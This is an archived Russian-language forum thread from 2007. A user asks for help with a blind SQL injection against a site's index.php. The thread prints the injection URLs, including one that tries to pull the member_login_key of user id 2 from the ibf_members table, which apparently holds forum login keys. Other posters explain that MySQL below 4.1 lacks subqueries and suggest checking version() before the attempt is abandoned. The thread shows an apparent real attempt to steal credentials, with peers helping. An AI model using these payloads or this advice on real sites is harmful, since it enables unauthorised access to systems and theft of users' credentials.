PDA

Просмотр полной версии : Blind SQL-Inj. Нужна помощь...


L0rd_Ha0S
14.10.2007, 20:55
Есть скрипт, подверженный Blind SQL-инъекции:
index.php?show=item&id=29+order+by+id'+and+ascii(lower(substring(user( ),1,1)))>1/*
запрос успешно выполняется, все символы спокойно перебираются.

Если вместо user() поставить (select+member_login_key+from+ibf_members+where+id =2), чтоб было вот так:
index.php?show=item&id=29+order+by+id'+and+ascii(lower(substring((sele ct+member_login_key+from+ibf_members+where+id=2),1 ,1)))>1/*
то выдается ошибка:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'select member_login_key from ibf_members where id=2),1,1)))>1/*
Указанные поле и таблица точно существуют. Пробовал также варианты с aes_decrypt/aes_encrypt, char(), concat() - безрезультатно.

Кто-нить знает, почему выдается эта ошибка, и как это обойти? Запрос ведь верный вроде...

blackybr
14.10.2007, 21:14
версия mysql ниже 4.1 не поддерживает подзапросов

guest3297
14.10.2007, 21:24
Согласен с бр сначало надо пробить version()

L0rd_Ha0S
14.10.2007, 22:02
версия mysql ниже 4.1 не поддерживает подзапросов
Спасибо, не знал.

Версия 4.0.27-log :(
По всей видимости придётся забить на эту дырку. :(
Всем спасибо.

m0nzt3r
15.10.2007, 21:52
Закрыто значит.